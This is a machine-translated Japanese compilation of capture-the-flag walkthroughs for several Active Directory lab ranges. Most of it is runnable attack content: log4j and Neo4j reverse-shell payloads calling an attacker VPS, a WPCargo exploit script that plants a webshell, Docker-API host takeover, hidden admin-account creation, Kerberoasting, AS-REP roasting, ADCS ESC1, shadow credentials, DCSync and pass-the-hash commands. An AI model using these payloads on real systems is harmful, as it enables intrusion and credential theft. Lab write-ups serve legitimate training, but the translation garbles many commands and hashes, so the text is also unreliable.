DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。 KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。 は.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD' オリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/
  18. 命令 認定は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。 テクノロジー SOLR、AD CS、SMB、Kerberos、ドメイン浸透 最初のフラグ log4j rce 外部ネットワークIPをスキャンします solrにはlog4jコンポーネントがあることを発見しました。 get /Solr/admin/cores?action=$ {jndi:ldap://1p9bvr.dnslog.cn} http/1.1 HOST: 47.92.113.194:8983 Accept: Application/Json、Text/Plain、 */* user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36 X-Requested With: xmlhttprequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip、deflate Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8 Connection:閉鎖DNSLOGエコー JNDIリバウンドシェル、VPSで開きます #悪意のあるクラスの読み込み Java -jar Jndiexploit -1.3 -snapshot.jar -i 47.103.xx.xxx #enable監視 NC -LVVP 5555 PAYLOAD $ {jndi:ldap3360 //47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555}リクエストを送信します /solr/admin/cores?action=$ {jndi:ldap3360//47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555} http/1.1 HOST: 47.92.113.194:8983 Accept: Application/Json、Text/Plain、 */* user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36 X-Requested With: xmlhttprequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip、deflate Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8 Connection: Closeはシェルを正常にリバウンドします sudoの権利のエスカレーション Sudo -l Sudo Grc - Help Sudo Grc-Pty Whoami FIND FLAG sudo grc -pty find/-nameフラグ* 出力フラグ sudo grc -pty cat /root/flag/flag01.txt 2番目のフラグ イントラネット浸透 エージェントのエージェントとイントラネットをスキャンします。詳細は説明しません(HTTPサービスのセットアップ、NPCとFSCANのダウンロード) 172.22.9.13:445オープン 172.22.9.26:445オープン 172.22.9.47:445オープン 172.22.9.73360445オープン 172.22.9.26:139オープン 172.22.9.47:139オープン 172.22.9.7:139オープン 172.22.9.26:135オープン 172.22.9.13:139オープン 172.22.9.13:135オープン 172.22.9.7:135オープン 172.22.9.26:80オープン 172.22.9.47:80オープン 172.22.9.19:80オープン 172.22.9.47:22オープン 172.22.9.47:21オープン 172.22.9.19:22オープン 172.22.9.7:88オープン 172.22.9.19:8983オープン [+] NetInfo: [*] 172.22.9.13 [ - ] CA01 [ - ] 172.22.9.13 [*] 172.22.9.7 [+] DC Xiaorang \ Xiaorang-DC [*] 172.22.9.26 Xiaorang \ desktop-cbktvmo [+] NetInfo: [*] 172.22.9.26 [ - ] desktop-cbktvmo [ - ] 172.22.9.26 [+] NetInfo: [*] 172.22.9.7 [ - ] Xiaorang-DC [ - ] 172.22.9.7 [*] 172.22.9.13 Xiaorang \ Ca01 [*] webtitle:3http://172.22.9.47 code:200 len:10918 title:apache2 ubuntuデフォルトページ: [*] webtitle:3333333333333:200 len:612 title:welcome nginx! [*] 172.22.9.47 WorkGroup \ Fileserver Windows 6.1 [*] 172.22.9.47(Windows 6.1) [*] webtitle:333333333333333333333333:8983 code:3022 len3:0 title:noneジャンプURL: http://172.22.9.99:8983/SOLR/ [*] webtitle:33333333333333:26 code:200 len:703 title:iis windowsサーバー [*] webtitle:3333333333333333333333333333333333:8983/solr/code:200 len:16555 title:solr adminは、以下の資産を発見しました 172.22.9.19入学IP 172.22.9.7 DC 172.22.9.26ドメインメンバー 172.22.9.47ファイルサーバー 172.22.9.13 CAプロンプトによれば、ファイルサーバーには情報をさらに収集するためにSMB共有が必要です 注:FSCANはSMBの共有モードをスキャンしないため、NMAPを使用してスキャンできます sudo grc -pty nmap -st -a 172.22.9.47 を使用して共有に接続する proxychains smbclient \\\\ 172.22.9.47 \\ fileshare 監督 人事を取得します。DB secret \ flag02.txt Get Falg02を取得すると、SMBが列挙されている別のプロンプトがあります。しかし、あなたはSPNが何であるか知っていますか? 3番目のフラグ データベースファイルにはいくつかのユーザー名とパスワードがあります RDPクラック プロキシチェーンHydra -l user.txt -p pwd.txt 172.22.9.26 RDP -VV -E NS kerberost攻撃 getUserSpns.pyを使用して、ドメインユーザーの下に登録されているSPNを見つける Proxychains python3 getuserspns.py -request -dc -ip 172.22.9.7 xiaorang.lab/zhangjian hashオフラインクラッキング、非常に速く、1.txtはハッシュ値です。 hashcat64.exe -m 13100 1.txt rockyou.txt get zhangxia/mypass2 @@ 6、アカウントパスワードを使用してリモートでログインします ドメインアカウントであるため、ユーザー名はzhangxia@xiaorang.labであることに注意してください。ログインした後、管理者の許可ではないため、管理者ディレクトリに直接アクセスしてフラグを見つけることはできません。 ADCS ESC1 certify.exeを使用して脆弱性を見つけます certify.exe検索/脆弱なESC1利用前提条件: mspki-certificates-name-flag: enrollee_supplies_subject この証明書テンプレートに基づいて新しい証明書を申請したユーザーが、他のユーザー、つまりドメイン管理者ユーザーを含むユーザーに証明書を申請できることを示します。 pkiextendedkeyusage:クライアント認証 この証明書テンプレートに基づいて生成された証明書を使用して、Active Directoryでコンピューターを認証できることを示します 登録権: NT Authority \認証ユーザー Active Directoryの認証されたユーザーが、この証明書テンプレートに基づいて生成された新しい証明書を要求できることを示します ドメイン管理の証明書を申請します certify.exe request /ca:ca01.xiaorang.lab\xiaorang-ca01-ca /template:'xr manager ' /altname:xiaorang.lab\administrator フォーマットを変換します OpenSSL PKCS12 -in CERT.PEM -KEYEX -CSP 'Microsoft Enhanced Cryptographic Provider V1.0' -Export -out Cert.PFXリクエストTGT、PTT 証明書をエクスポートして変換するときに入力されたパスワードがないため、ここにパスワードを空白のままにしておくだけです rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt ドメインマネージャーからチケットを取得した後、ハッシュをエクスポートします mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口 ハッシュパス PTH 172.22.9.26 プロキシチャインCrackmapexec SMB 172.22.9.26 -U Administrator -H2F1B57EEFB2D152196836B05166666666660 -D Xiaorang.lab -X 'タイプユーザー\管理者\ flag \ flag03.txt' ProxyChains Python3 wmiexec.py -Hashes 00000000000000000000000000000000000000000000000000000:2F1B57EEFB2D152196836B0516ABEA80管理者@172.22.9.7元リンク: https://zhuanlan.zhihu.com/p/581487685
  19. 命令 不正は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネット浸透における横方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透に興味深い技術的ポイントを習得するのに役立ちます。射撃場には3つのフラグがあり、さまざまなターゲットマシンに配布されています。 テクノロジー FTP、特権標高、AD CS、Kerberos、ドメイン浸透 最初のフラグ dockerは承認されていません 外部ネットワーク情報を通じて収集された、Dockerが許可されていないことがわかった https://cloud.tencent.com/developer/article/1744943 ミラーを表示します Docker -H TCP3360 //47.92.7.138:2375画像コンテナの閲覧 Docker -H TCP3360 //47.92.7.138:2375 PS -A コンテナを起動し、ホストディスクを/MNTにマウントします Docker -H TCP3360 //47.92.7.138:2375 RUN -IT -V/:/MNT -ENTRYPOINT/BIN/BASH/BASH UBUNTU:18.04 公開鍵を書きます を生成します。 Enterを押した後、3つの相互作用があります。最初のものはファイル名で、デフォルトではID_RSAです。変更する必要がある場合は、ファイル名を自分で入力してください。 2番目と3番目は、パスワードと確認パスワードです。これは、将来公開キーを使用するときに入力するパスワードです。それらは通常設定されていません。強力なセキュリティニーズがある場合は、自分で設定できます。最後に、2つのファイルid_rsa、id_rsa.pubが生成されます。pubのエンディングは公開キーであり、もう1つは秘密鍵です ssh-keygen -t rsa ターゲットマシンホストの/root/.ssh/authorized_keysファイルに公開キーを書き込む cd /mnt/root/.ssh/ Echo 'SSH-RSA AAAAB3NZAC1YC2 ..' Authorized_Keys 秘密キーをローカルで直接SSHに直接ログインできます フラグを調べて、旗がここにないように促します mysql弱いパスワード このマシンの開いたポートを表示します netstat -aptn 履歴コマンドを確認し、MySQLパスワードが123456であることを確認します。実際、爆破することもできます。 履歴アクセスmysqlデータベース mysql -uroot -p123456 MySQLショーデータベース。 mysqlは秘密を使用します。 MySQLは表を表示します。 mysql select * from f1agggg01から最初のフラグを取得します secondフラグ ハンドアロンの浸透 アップロードNPC設定プロキシ、FSCANスキャン172.22.7.0/24 172.22.7.67:8081オープン 172.22.7.13:80オープン 172.22.7.13:22オープン 172.22.7.67:445オープン 172.22.7.31:445オープン 172.22.7.67:21オープン 172.22.7.63360445オープン 172.22.7.67:80オープン 172.22.7.67:139オープン 172.22.7.31:139オープン 172.22.7.6:139オープン 172.22.7.31:135オープン 172.22.7.67:135オープン 172.22.7.6:135オープン 172.22.7.6:88オープン 172.22.7.13:2375オープン [+] NetInfo: [*] 172.22.7.6 [ - ] DC02 [ - ] 172.22.7.6 [*] 172.22.7.67 Xiaorang \ win-9bmcsg0s [*] webtitle:33333333333333:200 len:27170 title:xxデコレーション [+] NetInfo: [*] 172.22.7.67 [ - ] win-9bmcsg0s [ - ] 172.22.7.67 [+] NetInfo: [*] 172.22.7.31 [ - ] ADCS [ - ] 172.22.7.31 [*] 172.22.7.31 Xiaorang \ adcs [*] 172.22.7.6 [+] DC Xiaorang \ dc02 [*] webtitle:333333333333333333:2375 code:404 len:29 title:none [+] ftp: //172.22.7.67:213360anonymous [ - ] 1-1p3201024310-l.zip [ - ] 1-1p320102603c1.zip [ - ] 1-1p320102609447.zip [ - ] 1-1P320102615Q3.ZIP [ - ] 1-1p320102621j7.zip [ - ] 1-1p320102j30-l.zip [*] webtitle:33333333333:200 code:200 len:703 title:iis windowsサーバー [*] webtitle:3333333333333333:8081 code:200 len:4621 title33:会社管理バックエンド [+] http://172.22.7.13:2375 POC-YAML-DOCKER-API-UNAOTORIZED-RCE [+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file [+] http://172.22.7.13:2375 Poc-Yaml-go-pprof-Leak 010-3http://172.22.22.7.67:8081/www.zipバックアップ圧縮パッケージ。減圧後、ダウンロードフォルダーが匿名でログに記録されているFTPの共有ファイルと一致していることがわかりました したがって、したがって、WebShellはFTPを介してアップロードできます シェルアドレス http://172.22.7.67:8081/download/shell.asp ジャガイモを直接使用して権利を増やし、sweetpotato.exeをアップロードします sweetpotato.exe -a 'whoami' テスト後、3389が有効になります。アカウントを直接追加してログインします sweetpotato.exe -a 'ネットユーザーdevyn admin@123 /add' sweetpotato.exe -a 'net localgroup管理者devyn /add' Get Flag ftp認定 この新しく作成されたユーザーはドメインコマンドを実行できないため、ドメインアカウントを照会してからPTHでログインする必要があることに注意してください。パスワードを見つけた場合は、直接ログインできます。実際、シェル内のMimikatzを直接実行してハッシュをつかむことができます。ここのリモートデスクトップは、CMDを使用して実行する方が便利です。 ドメインアカウントをrawったZhangfeng/fenzgtavf6en、ドメインアカウントで再度ログインするには、zhangfeng@xiaorang.labにユーザー名を入力する必要があることに注意してください。 shurd 3番目のフラグ https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials 次のアカウントには、MSDS-Keycredentiallinkプロパティへの書き込み許可があります。 ドメイン管理者アカウント主要な管理者グループアカウントエンタープライズキー管理者グループアカウントを備えたアクティブディレクトリのオブジェクトへの一般的または汎用ライターのアクセス許可は、主要な管理者グループのMSDS-KeycredentiallinkプロパティZhangfengアカウントへの書き込み権限を持っています。 ADDドメインコントローラーのMSDS-KeyCredentiAllinkプロパティへの影の資格情報 whisker.exe add /target:dc02 $ /domain:xiaorang.lab /dc:dc02.xiaorang.lab 919追加の追加が成功した後、プログラムは証明書の認証に基づくTGTチケットを要求するコマンドを促します。プロンプトコマンドが最後に /PTTに追加されることに注意してください ドメインコントローラーアカウントには特権があり、Mimikatzを使用してDCSYNCを実行してドメインハッシュをエクスポートできます mimikatz.exe 'privilege:3360debug' 'lsadump:dcsync /domain:xiaorang.lab /user3360administrator'出口 00000000000000000000000000000000003360BF967C5A0F7256E2EABA589FBD29A382 ADIVISTORATOR@172.22.7.6 元のリンク: https://zhuanlan.zhihu.com/p/581451146
  20. 命令 時間は、中程度の難易度を持つ射撃場環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。 テクノロジー Neo4J、Kerberos、特権の昇格、ドメイン浸透 最初のフラグ 屋外IP情報コレクション Infoscanを開始 (ICMP)ターゲット'39 .98.236.25 'は生きています ICMP AliveホストLen IS: 1 39.98.236.25:22オープン 39.98.236.25:1337オープン 39.98.236.25:7474オープン 39.98.236.25:7473オープン 39.98.236.25:7687オープン 39.98.236.25:3555オープン Alive Ports Len IS: 6 Vulscanを開始します 完成0/6 [ - ] Webtitle http://39.98.236.25:7473 GET 'http://39.98.236.25:7473'3360 Net/HTTP: HTTP/1.Xトランスポート'\ x15 \ x03 \ x03 \ x00 \ x02 \ x02p' [*] webtitle:33333399.98.236.25:7474 code:200 len:145 title3360none [*] webtitle:333333399.98.236.25:7687 code:400 len3:0 title:none [*] webtitle:3333333939.98.236.25:7687 code:400 len3:0 title:none 6/6を完了しました スキャンエンド neo4j不正rce NEO4Jは、オープンソースグラフデータベース管理システムです。 NEO4J 3.4.18以前には、Neo4Jシェルインターフェイスが有効になっている場合、攻撃者は任意の方法をRMIプロトコルを介して不正なアイデンティティとして呼び出すことができます。この脆弱性はRMIの劣るものではないため、Javaバージョンの影響はありません。 Neo4J 3.5以降のバージョンでは、Neo4Jシェルはサイバーシェルに置き換えられました。 https://github.com/zwjjustdoit/cve-2021-34371.jar Java -jar Rhino_gadget.jar Rmi3360 //39.98.236.2533601337 'Bash -C {echo、ymfzacatasa+jiavzgv2l3r . nc81ntu1ida+jje=} | バウンスシェル フラグを見つけます 最初のフラグを取得します 2番目のフラグ イントラネット浸透 アップロードエージェントとFSCAN Infoscanを開始します 完了0/0 IP4:ICMP 0.0.0.0: Socket:操作は許可されていません runicmp2を試してみます ICMPパケットを送信できない現在のユーザー権限 pingを開始します (ICMP)ターゲット172.22.6.12は生きています (ICMP)ターゲット172.22.6.25は生きています (ICMP)ターゲット172.22.6.38は生きています (ICMP)ターゲット172.22.6.36は生きています [*] ICMP Alive Hosts Len IS: 4 172.22.6.25:445オープン 172.22.6.12:445オープン 172.22.6.25:139オープン 172.22.6.12:139オープン 172.22.6.25:135オープン 172.22.6.12:135オープン 172.22.6.38:80オープン 172.22.6.36:22オープン 172.22.6.38:22オープン 172.22.6.36:7687オープン 172.22.6.12:88オープン [*] Alive Ports Len IS: 11 Vulscanを開始します [+] NetInfo: [*] 172.22.6.25 [ - ] Win2019 [ - ] 172.22.6.25 [+] NetInfo: [*] 172.22.6.12 [ - ] dc-progame [ - ] 172.22.6.12 [*] 172.22.6.12 [+] DC Xiaorang \ DC-Progame Windows Server 2016 DataCenter 14393 [*] 172.22.6.25 Xiaorang \ Win2019 [*] 172.22.6.12(Windows Server 2016 Datacenter 14393) [*] webtitle:3333333333333:200 len:1531 title:バックエンドログイン [*] webtitle:33333333333333333363633607687 code:400 len:50 title:none 11/11 SQL注入 に記入してくださいhttp://172.22.6.38にアクセスしてください。これはデータパケットをクロールするログインページです post /index.php http /1.1 HOST: 172.22.6.38 Content-Length: 30 Cache-Control: Max-age=0 アップグレード-Insecure-Requests: 1 Origin: http://172.22.6.38 Content-Type:アプリケーション/x-www-form-urlencoded user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9 参照: http://172.22.6.38/ Accept-Encoding: gzip、deflate Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8 Connection:閉じます username=adminpassword=1111111 sqlmapを使用したテストインジェクション(プロセス省略) sqlmap -r 1.txt - dump -t oa_f1agggg -d oa_db -batch 2番目のフラグを取得します OA_ADMINテーブルとOA_USERSテーブルもあります。これは、ユーザーテーブルに500のユーザー名を辞書Username.txtに収集します ‍‍ frag ドメインユーザー列挙 Kerberos 'As-Req認証で、CNAME値のユーザーが存在しない場合、パッケージはKDC_ERR_C_PRINCIPAL_UNKNOWNをプロンプトします。 https://github.com/ropnop/kerbrute proxychains ./kerbrute_linux_amd64 userenum - dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kaliのプロキシ実行は成功しておらず、結果も表示されません。ファイルはエントリマシンに渡され、結果はリモート実行後にのみ取得されます 合計74人のユーザーがいます。 as-reproasting ドメインユーザーの場合、オプションがKerberosの事前認定を必要としない場合(Kerberosの事前識別は必要ありません)、AS-REQリクエストをドメインコントローラーの88ポートに送信し、受信したAS-REPコンテンツを再結合し、「Kerberos 5 As-Rep Etype 23」の形式にスプライスできます。次に、HashcatまたはJohnを使用してそれをクラックし、最終的にユーザーのPlantextパスワードを取得できます。 事前に認識されていないアカウントを見つけます proxychains python3 getnpusers.py -dc -ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ 2つのアカウントを入手してくださいwenshao@xiaorang.lab、zhangxin@xiaorang.lab $ KRB5ASREP 23 $ 23 $ wenshao@xiaorang.lab@xiaorang.lab3360b6c410706b5e96c693b2fc61ee1064c3 $ 2dc9fe784e79973333f30c6bc422222222222222222222222BBA94Be7022222222222222e 8C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113 A86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3 E42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892 DA55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB29994 $ KRB5ASREP 23 $ 23 $ ZHANGXIN@XIAORANG.LAB@XIAORANG.LAB:971802B84CE99050AD3C5F49D11FD0B7 $ 6C1BE075C3CF2A7695529DE2E2EBB39C3C3C3C3C3C3C3C39C5C5C7E5326C926C91DAC26C926C926C91DAC26C9 9892F76BEFE52C860E4E1E2FF6537A5765A6BCB6B8BACA792D60765AC0BBE1B3C5E59F3 EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC41167 7BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D825B38 28744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C6805915163 54460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC94103F59D9511691090928E98D0D8978F51E71FD9DB0067FA0928E928E98E98D0D8978F510FATATATATATATATATAITA Hashcatを使用して復号化します Hashcat -M 18200 - Force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af4 18C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113A 86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3E 42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892D A55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB2994 ' Rockyou.txt hashcat -m 18200 - force -a 0 '$ KRB5ASREP $ 23 $ $ ZHANGXIN@Xiaorang.lab@Xiaorang.LAB:971802B84CE999050AD3C5F49D11FD0B7 $ 6C1BE075C3C3C3CF2A76955529DE2EBBF39C5C5EC7E5326C926C91891DAC7E5326C91891DAC7E51891DAC7E5326C91891DAC7E526C9189189189189 b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e 59F3EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC 411677BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D 825B3828744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C680 591516354460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC 94103F59D9511691090928E98D0D8978F511E71FD9DB0067FA0D450C120F3726918D7 '' Rockyou.txt この方法では、2つのアカウントとパスワードを取得しました zhangxin@xiaorang.lab/strawberry wenshao@xiaorang.lab/hellokitty ドメイン環境分析 ドメインアカウントでログイン172.22.6.25、データ収集のためにSharphoundをアップロード Sharphound.exe -Cすべてのエクスポートファイルには複数のJSonが含まれており、ドメイン内のさまざまな関係を節約します データをブラッドハウンドにアップロードし、分析をクリックして、ドメイン管理者への最短パスを見つけます ドメイン管理者への最短のパスを見つける厚から薄いまでのパスは、XXがXXに持っている権限または関係です。したがって、パスは次のとおりです Bloodhoundから、ユーザーYuxuanを行うために必要な次のステップがわかることがわかります Windows自動ログイン Hassession:ユーザーがコンピューターでセッションを行っている場合、資格情報はメモリに保持され、YuxuanがWin2019にログインしたことを示します 多くのユーザーは、自動的にログインするコンピューターのセットアップに使用されており、MSFを使用してユーザー名とパスワードを自動的にログインすることができます。 ポジティブシェルになります msfvenom -p Windows/MeterPreter/bind_tcp -f exe -o shy.exeその後、ターゲットマシンWin2019(172.22.6.25)にアップロードして実行して実行します プロキシと接続を使用してMSFを実行します Exploit/Multi/Handlerを使用します ペイロードWindows/MeterPreter/bind_tcpを設定します RHOST 172.22.6.25を設定します を実行して、自動ログインのパスワードをクロールします MeterPreter Run Run Windows/Graching/Credentials/Windows_Autologin ここでパスワードをキャッチしておらず、続行できませんでした。 他の人のWPが続行するのを見続ける方法はありません。 パスワードをつかんでYuxuan/Yuxuan7Qbrgz3lを入手してください。 ハッシュパス Hassidhistory:ユーザーのSID履歴。ユーザーがドメインに移行した後、チケットには前のドメインが配置されているグループのSIDも含まれています。ユーザーは以前のドメインに属していませんが、以前のドメインへの許可がまだあります。 Yuxuanを使用して、管理者のハッシュをキャプチャします mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口 プロキシチャインCrackmapexec SMB 172.22.6.25 -U Administrator -H04D93FD6F5F6E4490E0DE23F40A5E9 -D XIAORANG.LAB -X 'タイプユーザー\ Administrator \ Administrator \ flag \ flag03.txt' https://zhuanlan.zhihu.com/p/582525371
  21. 命令 Brute4roadは、中程度の難易度のある射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。 テクノロジー Redis、Brute Force、SMB、特権標高、ドメイン浸透 最初のフラグ Redis Master-Slave Copy RCE fscan入学IPをスキャンします。次の入学IPが変更された場合、それは再起動環境のために、プロセスに問題はありません。 不正なレディスが見つかり、書き込み計画のリバウンドシェルがテストされました。許可がないことが促されました。 Redis Master-SlaveコピーRCEを正常にコピーします suidエスカレーション ユーザーはRedisの権利を引き上げる必要があります。 SUIDを使用して権利を上げます。次のコマンドを実行できます。詳細については、suidを表示してLinuxシステムの権利を上げることができます1 /-user root -perm -4000 -print 2/dev/nullを見つけます find/-perm -u=s -type f 2/dev/null /-user root -perm -4000 -exec ls -ldb {}を見つける;Base64には、SUID許可があります。 Base64を介してローカルファイルを読み取り、最初のフラグを取得するために出力できます base64 '/home/redis/flag/flag01' | base64 - デコード 2番目のフラグ wpcargo不正rce ポータルIPのサーバーにプロキシを設定し、イントラネットスキャンを実行し、wegetを介してNPCとFSCANをアップロードします pingを開始します (ICMP)ターゲット172.22.2.18は生きています (ICMP)ターゲット172.22.2.34は生きています (ICMP)ターゲット172.22.2.3は生きています (ICMP)ターゲット172.22.2.7は生きています (ICMP)ターゲット172.22.2.16は生きています [*] ICMP Alive Hosts Len IS: 5 172.22.2.2.16:445オープン 172.22.2.2.34:445オープン 172.22.2.3:445オープン 172.22.2.2.183360445オープン 172.22.2.16:139オープン 172.22.2.34:139オープン 172.22.2.3:139オープン 172.22.2.34:135オープン 172.22.2.16:135オープン 172.22.2.18:139オープン 172.22.2.3:135オープン 172.22.2.16:80オープン 172.22.2.3:88オープン 172.22.2.2.18:22オープン 172.22.2.7:80オープン 172.22.2.7:22オープン 172.22.2.2.733606379オープン 172.22.2.16:1433オープン 172.22.2.7:21オープン 172.22.2.2.18:80オープン [*] Alive Ports Len IS: 20 Vulscanを開始します [+] NetInfo: [*] 172.22.2.16 [ - ] mssqlserver [ - ] 172.22.2.16 [*] 172.22.2.34 Xiaorang \ client01 [*] 172.22.2.16(Windows Server 2016 Datacenter 14393) [+] NetInfo: [*] 172.22.2.3 [ - ] DC [ - ] 172.22.2.3 [*] webtitle:3333http://172.22.2.16 code:404 len:315 title:notが見つかりました [+] NetInfo: [*] 172.22.2.34 [ - ] client01 [ - ] 172.22.2.34 [*] webtitle:333333333333:200 len:4833 title:welcome to centos [*] 172.22.2.16 Xiaorang \ MSSQLSERVER WINDOWS SERVER 2016 DATACENTER 14393 [*] 172.22.2.3 [+] DC Xiaorang \ dc Windows Server 2016 Datacenter 14393 [*] 172.22.2.18ワークグループ\ ubuntu-web02 [*] 172.22.2.3(Windows Server 2016 Datacenter 14393) [+] FTP: //172.22.2.2.73360213360Anonymous [-]パブ [*] webtitle:333http://172.22.2.18 code:200 len:57738 title: プロキシチェーンWPSCAN -URL http://172.22.2.18 WPCargoプラグイン、関連する脆弱性の検索、および不正なRCEの脆弱性があることがわかります https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a Import sys binasciiをインポートします リクエストをインポートします #これは、ピクセルとして扱われ、PNGを使用して圧縮される魔法の弦です #アルゴリズム、原因は?=$ _ get [1]($ _ post [2]); PNGファイルに書き込まれます ペイロード='2F49CF97546FC24152B216712546F112E29152B1967226B6F5F50' def encode_character_code(c: int): return '{:08b}'。形式(c).replace( '0'、 'x') text='' .join([encode_character_code(c)for c in binascii.unhexlify(payload)])[1:] Destination_url='http://172.22.2.18/' cmd='ls' #1/11スケールで、 '1はシングルホワイトピクセルとしてエンコードされます' xはシングルブラックピクセルとして。 requests.get( F '{Destination_url} wp-content/plugins/wpcargo/include/barcode.php?text={text} sizeFactor=.090909090909Size=1filepath=////www/html/webshell.php' )) #ウェブシェルをアップロードしました - 次に、それを使用してコマンドを実行しましょう。 print(requests.post( f '{Destination_url} webshell.php?1=system'、data={'2': cmd} ).content.decode( 'ascii'、 'agnore'))shellを生成します http://172.22.2.18/webshell.php?1=システム post:2=whoami アリの剣に接続し、タイプに注意を払い、CMDlinuxを選択します(これは多くの時間を無駄にし、ツールに精通していません) データベースの構成と接続を表示します 2番目のフラグを見つけます 3番目のフラグ パスワードを保存するためのテーブル mssqlserver rce データベースに入ったばかりのパスワードテーブルを使用してMSSQLを爆破してパスワードを取得します 倍数を使用して接続します。database.utilization.toolsツール 最初にOLEオートメーション手順コンポーネントをアクティブにしてから、SweetPotato.exeをアップロードして権限を高め、システムの許可を取得します C:/users/mssqlserver/desktop/sweetpotato.exe -a 'netstat -ano' 発見3389はオープン、直接ユーザー、リモート接続を直接追加します ネットユーザーdevyn admin123 /add ネットローカルグループ管理者devyn /addリモート接続が成功しました 3番目のフラグを取得します ‍ 4番目のフラグ ドメイン浸透 Mimikatzを使用して、ドメインユーザーのハッシュをクロールします ドメインユーザーから取得したハッシュは78A2811AABD79D0DA3CEF84903CA3E6です。 制約付き委任攻撃 MSSQLServerマシンは、DC LDAPおよびCIFSサービスへのバインディング委任で構成されています まず、Rubeusを介してMssqlServerのマシンアカウントMSSQLSERVERのTGTを申請します。実行後、Base64暗号化されたTGTチケットを取得します。 rubeus.exe asktgt /user:mssqlserver $ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:dc.xiaorang。 S4U2自己拡張ドメイン管理者管理者を表して、ドメインコントロールLDAPサービスのチケットをリクエストし、結果のチケットをメモリに渡す rubeus.exe S4U /ImpersonateUser:ADMINISTRATOR /MSDSSPN:LDAP/DC.XIAORANG.LAB /DC:DC.XIAORANG.LAB 